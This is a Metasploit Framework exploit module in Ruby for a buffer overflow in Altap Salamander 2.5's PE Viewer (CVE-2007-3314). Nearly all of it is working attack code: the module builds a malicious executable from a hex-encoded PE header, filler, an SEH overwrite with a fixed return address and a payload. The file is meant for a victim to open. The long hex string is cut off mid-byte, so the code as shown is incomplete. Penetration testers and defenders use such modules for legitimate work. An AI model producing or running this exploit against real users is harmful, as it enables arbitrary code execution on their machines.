metasploit-framework/modules/exploits/windows/fileformat/altap_salamander_pdb.rb

81 lines
73 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Altap Salamander <= v2.5.
By creating a malicious file and convincing a user to view the file with
the Portable Executable Viewer plugin within a vulnerable version of
Salamander, the PDB file string is copied onto the stack and the
SEH can be overwritten.
},
'License' => MSF_LICENSE,
'Author' => [ 'patrick' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-3314' ],
[ 'BID', '24557' ],
[ 'OSVDB', '37579' ],
[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
],
'Privileged' => false,
'DisclosureDate' => 'Jun 19 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
], self.class)
end
def exploit
seh = generate_seh_payload(target.ret)
sploit = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x00\x00\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00\x76\xEE\xF8\xA2\x32\x8F\x96\xF1\x32\x8F\x96\xF1\x32\x8F\x96\xF1\x3B\xF7\x05\xF1\x31\x8F\x96\xF1\x3B\xF7\x15\xF1\x3E\x8F\x96\xF1\x15\x49\xED\xF1\x30\x8F\x96\xF1\x32\x8F\x97\xF1\x1F\x8F\x96\xF1\x3B\xF7\x12\xF1\x3B\x8F\x96\xF1\x3B\xF7\x02\xF1\x33\x8F\x96\xF1\x3B\xF7\x07\xF1\x33\x8F\x96\xF1\x52\x69\x63\x68\x32\x8F\x96\xF1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x07\x00\xD3\xD9\x99\x4A\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x02\x21\x0B\x01\x09\x00\x00\x34\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\xC8\x10\x01\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x01\x00\x00\x04\x00\x00\x00\x00\x00\x00\x02\x00\x40\x01\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x3C\x00\x00\x00\x00\x90\x01\x00\x09\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x01\x00\x9C\x02\x00\x00\x20\x55\x01\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x81\x01\x00\x2C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x62\x73\x73\x00\x00\x01\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\xE0\x2E\x74\x65\x78\x74\x00\x00\x00\x4E\x32\x00\x00\x00\x10\x01\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x72\x64\x61\x74\x61\x00\x00\xC2\x18\x00\x00\x00\x50\x01\x00\x00\x1A\x00\x00\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x64\x61\x74\x61\x00\x00\x00\x74\x05\x00\x00\x00\x70\x01\x00\x00\x02\x00\x00\x00\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x69\x64\x61\x74\x61\x00\x00\x3B\x07\x00\x00\x00\x80\x01\x00\x00\x08\x00\x00\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00\x09\x0C\x00\x00\x00\x90\x01\x00\x00\x0E\x00\x00\x00\x5C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00\x1A\x04\x00\x00\x00\xA0\x01\x00\x00\x06\x00\x00\x00\x6A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
sploit << rand_text_alphanumeric(1098) + seh
sploit << ".pdb"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end